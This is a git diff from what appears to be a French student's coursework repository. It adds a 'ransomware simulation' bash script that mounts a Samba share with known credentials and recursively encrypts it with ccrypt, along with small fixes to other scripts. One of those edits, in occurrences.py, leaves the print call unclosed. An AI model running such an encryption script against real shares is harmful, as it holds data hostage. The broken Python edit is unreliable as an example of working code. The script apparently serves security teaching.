diff --git a/automate.sh b/automate.sh index 2daaa7e..d117922 100644 --- a/automate.sh +++ b/automate.sh @@ -24,7 +24,7 @@ else echo "Commit en cours..." sleep 1 git commit - git tag -l "v.0*" --sort="-v:refname" + git tag -l "v.*" --sort="-v:refname" echo "Entrez la version du tag: (Le plus récent est en haut)" read tag git tag $tag diff --git a/bts_annee_2/cyber2/ransomware-simulation/README.md b/bts_annee_2/cyber2/ransomware-simulation/README.md new file mode 100644 index 0000000..6d02567 --- /dev/null +++ b/bts_annee_2/cyber2/ransomware-simulation/README.md @@ -0,0 +1,2 @@ +Dossier avec le script utilisé pour simuler une attaque de ransomware sur un partage Samba accessible en écriture, avec un mot de passe et nom d'utilisateur connus. +Les arguments passés après le nom du script sont utilisés plus tard et sont nécessaires. \ No newline at end of file diff --git a/bts_annee_2/cyber2/ransomware-simulation/smbcc.sh b/bts_annee_2/cyber2/ransomware-simulation/smbcc.sh new file mode 100644 index 0000000..b0e6f24 --- /dev/null +++ b/bts_annee_2/cyber2/ransomware-simulation/smbcc.sh @@ -0,0 +1,34 @@ +#!/bin/bash +# déclaration des variables +chemin=$1 +cred=$2 +action=$3 +ficcle=$4 + +# récup du mot de passe et nom d'utilisateur +user=$(echo $cred| cut -d "/" -f1) +pass=$(echo $cred| cut -d "/" -f2) + +# créa du répertoire et on monte dessus +[[ -e /mnt/samba ]] || mkdir /mnt/samba +mount.cifs -o "username=$user,password=$pass" "//${chemin}" /mnt/samba + +# vérification d'erreurs +if [[ $? != 0 ]] ; then + rmdir /mnt/samba + exit 1 +fi + +# la commande ccrypt +ccrypt "$action" -r -k $ficcle /mnt/samba + +# vérification d'erreurs +if [[ $? != 0 ]] ; then + echo "ccrypt échoué, revérifie le script." + exit 1 +fi + +# nettoyage et sortie, code 0 +umount /mnt/samba +rmdir /mnt/samba +exit 0 diff --git a/bts_annee_2/sisr2/python/createusers.py b/bts_annee_2/sisr2/python/createusers.py index 53c9343..9a7e106 100644 --- a/bts_annee_2/sisr2/python/createusers.py +++ b/bts_annee_2/sisr2/python/createusers.py @@ -21,6 +21,6 @@ def main(filename): print(f"Erreur lors de la lecture du fichier {filename}: {e}") if __name__ == "__main__": if len(sys.argv) != 2: - print("Usage: python creatusr.py ") + print("Usage: python3 createusers.py ") else: main(sys.argv[1]) diff --git a/bts_annee_2/sisr2/python/occurences.py b/bts_annee_2/sisr2/python/occurences.py index 0d2ca46..a25aa78 100644 --- a/bts_annee_2/sisr2/python/occurences.py +++ b/bts_annee_2/sisr2/python/occurences.py @@ -14,5 +14,5 @@ for mot in mots: # Afficher les mots et leurs occurrences print("Occurrences des mots :") for mot, count in occurrences.items(): - print(f"{mot} : {count}" + print(f"{mot} : {count})"